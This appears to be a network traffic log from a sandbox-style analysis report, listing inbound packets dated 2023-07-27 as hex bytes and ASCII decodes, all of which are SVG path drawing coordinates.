2023-07-27 19:54:38 UTC	7413	IN	Data Raw: 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 35 39 2e 38 32 2c 32 33 34 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: -.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M959.82,234.37a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.82"></path><path class="cls-4" d="M
2023-07-27 19:54:38 UTC	7429	IN	Data Raw: 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 32 39 2e 33 2c 31 35 33 2e 33 37 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 36 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c Data Ascii: ,1,3.29.93,2.37,2.37,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.81"></path><path class="cls-4" d="M929.3,153.37a1.69,1.69,0,0,1,.76-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.5,2.84,2.22,2.22,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><
2023-07-27 19:54:38 UTC	7445	IN	Data Raw: 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 32 2e 31 38 2c 32 36 33 2e 33 33 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c Data Ascii: 2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M912.18,263.33a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,
2023-07-27 19:54:38 UTC	7461	IN	Data Raw: 4d 38 38 31 2e 34 33 2c 31 37 35 2e 35 61 31 2e 36 39 2c 31 2e 36 39 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 36 2c 32 2e 34 36 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 38 31 2e 36 36 2c 31 38 32 2e 33 33 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c Data Ascii: M881.43,175.5a1.69,1.69,0,0,1,.77-2.2,2.46,2.46,0,0,1,3.28.93,2.36,2.36,0,0,1-.5,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M881.66,182.33a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,
2023-07-27 19:54:38 UTC	7477	IN	Data Raw: 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 33 31 2c 32 38 35 2e 34 35 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 36 34 2e 35 34 2c 32 39 32 2e 32 38 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 Data Ascii: </path><path class="cls-4" d="M864.31,285.45a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.36,2.36,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M864.54,292.28a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93
2023-07-27 19:54:38 UTC	7493	IN	Data Raw: 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 33 2e 37 39 2c 32 30 34 2e 34 36 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 31 2c 32 2e 34 39 2c 32 2e 34 39 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 34 2c 32 31 31 2e 32 38 61 31 2e 37 2c 31 2e 37 2c Data Ascii: 0,1-2.85,0,2.09,2.09,0,0,1-.16-2.81"></path><path class="cls-4" d="M833.79,204.46a1.71,1.71,0,0,1,.77-2.21,2.49,2.49,0,0,1,3.29.93,2.37,2.37,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.08,2.08,0,0,1-.15-2.81"></path><path class="cls-4" d="M834,211.28a1.7,1.7,
2023-07-27 19:54:38 UTC	7509	IN	Data Raw: 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 33 2e 32 37 2c 31 32 33 2e 34 36 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 37 2c 32 2e 34 37 2c 30 2c 30 2c 31 2c 33 2e 32 38 2e 39 32 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 35 2c 32 2e 32 32 2c 32 2e 32 32 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 38 2c 32 2e 30 38 2c 30 2c 30 2c 31 2d 2e 31 36 2d 32 2e 38 31 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 Data Ascii: 0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.1,2.1,0,0,1-.15-2.82"></path><path class="cls-4" d="M803.27,123.46a1.7,1.7,0,0,1,.77-2.2,2.47,2.47,0,0,1,3.28.92,2.37,2.37,0,0,1-.5,2.85,2.22,2.22,0,0,1-2.85,0,2.08,2.08,0,0,1-.16-2.81"></path><path class="cls-4" d="M8
2023-07-27 19:54:38 UTC	7525	IN	Data Raw: 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 31 2c 32 2e 38 34 2c 32 2e 32 31 2c 32 2e 32 31 2c 30 2c 30 2c 31 2d 32 2e 38 35 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 36 2e 31 35 2c 32 33 33 2e 34 31 61 31 2e 37 2c 31 2e 37 2c 30 2c 30 2c 31 2c 2e 37 37 2d 32 2e 32 2c 32 2e 34 38 2c 32 2e 34 38 2c 30 2c 30 2c 31 2c 33 2e 32 39 2e 39 33 2c 32 2e 33 38 2c 32 2e 33 38 2c 30 2c 30 2c 31 2d 2e 35 2c 32 2e 38 34 2c 32 2e 32 33 2c 32 2e 32 33 2c 30 2c 30 2c 31 2d 32 2e 38 36 2c 30 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2d 2e 31 35 2d 32 2e 38 32 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 Data Ascii: 9.93,2.38,2.38,0,0,1-.51,2.84,2.21,2.21,0,0,1-2.85,0,2.09,2.09,0,0,1-.15-2.82"></path><path class="cls-4" d="M786.15,233.41a1.7,1.7,0,0,1,.77-2.2,2.48,2.48,0,0,1,3.29.93,2.38,2.38,0,0,1-.5,2.84,2.23,2.23,0,0,1-2.86,0,2.09,2.09,0,0,1-.15-2.82"></path><path
2023-07-27 19:54:38 UTC	7541	IN	Data Raw: 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 32 2c 32 36 37 2e 33 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 32 31 2e 37 31 2c 32 35 39 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e Data Ascii: h class="cls-7" d="M522,267.3a1.91,1.91,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M521.71,259.58a1.91,1.91,0,0,1-.86,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.
2023-07-27 19:54:39 UTC	7557	IN	Data Raw: 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 34 31 2e 35 38 2c 31 35 30 2e 37 36 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: 2.66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M541.58,150.76a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path c
2023-07-27 19:54:39 UTC	7573	IN	Data Raw: 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 35 39 2c 32 35 37 2e 37 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 37 36 2e 33 33 2c 32 35 30 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 Data Ascii: 8,3.17"></path><path class="cls-7" d="M576.59,257.72a1.91,1.91,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M576.33,250a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1
2023-07-27 19:54:39 UTC	7589	IN	Data Raw: 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 35 39 36 2e 32 2c 31 34 31 2e 31 38 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 Data Ascii: 1,2.69,2.69,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M596.2,141.18a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path
2023-07-27 19:54:39 UTC	7605	IN	Data Raw: 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2e 32 31 2c 32 34 38 2e 31 35 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 33 31 2c 32 34 30 2e 34 33 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 37 2c 32 2e 36 37 2c 30 2c 30 2c Data Ascii: lass="cls-7" d="M631.21,248.15a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.66,2.66,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.17"></path><path class="cls-7" d="M631,240.43a1.92,1.92,0,0,1-.87,2.49,2.79,2.79,0,0,1-3.71-1,2.67,2.67,0,0,
2023-07-27 19:54:39 UTC	7621	IN	Data Raw: 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 35 30 2e 38 31 2c 31 33 31 2e 36 31 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 36 2c 32 2e 34 39 2c 32 2e 38 2c 32 2e 38 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 37 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 Data Ascii: .05,2.68,2.68,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.36,2.36,0,0,1,.18,3.18"></path><path class="cls-7" d="M650.81,131.61a1.92,1.92,0,0,1-.86,2.49,2.8,2.8,0,0,1-3.72-1,2.68,2.68,0,0,1,.57-3.21,2.5,2.5,0,0,1,3.22,0,2.34,2.34,0,0,1,.18,3.17"></path><path c
2023-07-27 19:54:39 UTC	7637	IN	Data Raw: 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 38 33 2c 32 33 38 2e 35 38 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 32 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 36 38 35 2e 35 37 2c 32 33 30 2e 38 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e Data Ascii: <path class="cls-7" d="M685.83,238.58a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.69,2.69,0,0,1,.56-3.22,2.52,2.52,0,0,1,3.23,0,2.36,2.36,0,0,1,.17,3.18"></path><path class="cls-7" d="M685.57,230.86a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1,2.
2023-07-27 19:54:39 UTC	7653	IN	Data Raw: 2e 36 36 2c 32 2e 36 36 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 30 35 2e 34 33 2c 31 32 32 61 31 2e 39 31 2c 31 2e 39 31 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 38 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: .66,2.66,0,0,1,.57-3.21,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class="cls-7" d="M705.43,122a1.91,1.91,0,0,1-.87,2.48,2.79,2.79,0,0,1-3.71-1,2.68,2.68,0,0,1,.57-3.22,2.51,2.51,0,0,1,3.22,0,2.37,2.37,0,0,1,.18,3.18"></path><path class
2023-07-27 19:54:39 UTC	7669	IN	Data Raw: 34 30 2e 34 35 2c 32 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2e 30 35 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 34 30 2e 31 39 2c 32 32 31 2e 32 39 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 38 2c 32 2e 38 31 2c 32 2e 38 31 2c 30 2c 30 2c 31 2d 33 2e 37 32 2d 31 2c 32 2e 36 39 2c 32 2e 36 39 2c 30 2c 30 2c 31 2c 2e 35 37 2d 33 2e 32 32 2c 32 2e Data Ascii: 40.45,229a1.92,1.92,0,0,1-.87,2.49,2.81,2.81,0,0,1-3.72-1.05,2.68,2.68,0,0,1,.57-3.21,2.52,2.52,0,0,1,3.23,0,2.37,2.37,0,0,1,.17,3.18"></path><path class="cls-7" d="M740.19,221.29a1.92,1.92,0,0,1-.87,2.48,2.81,2.81,0,0,1-3.72-1,2.69,2.69,0,0,1,.57-3.22,2.
2023-07-27 19:54:39 UTC	7685	IN	Data Raw: 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2c 33 2e 32 32 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 36 30 2e 30 35 2c 31 31 32 2e 34 36 61 31 2e 39 32 2c 31 2e 39 32 2c 30 2c 30 2c 31 2d 2e 38 37 2c 32 2e 34 39 2c 32 2e 37 39 2c 32 2e 37 39 2c 30 2c 30 2c 31 2d 33 2e 37 31 2d 31 2c 32 2e 36 38 2c 32 2e 36 38 2c 30 2c 30 2c 31 2c 2e 35 36 2d 33 2e 32 31 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2c 33 2e 32 33 2c 30 2c 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 31 37 2c 33 2e 31 38 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 22 20 64 3d 22 4d 37 35 39 2e 37 39 2c 31 30 34 Data Ascii: 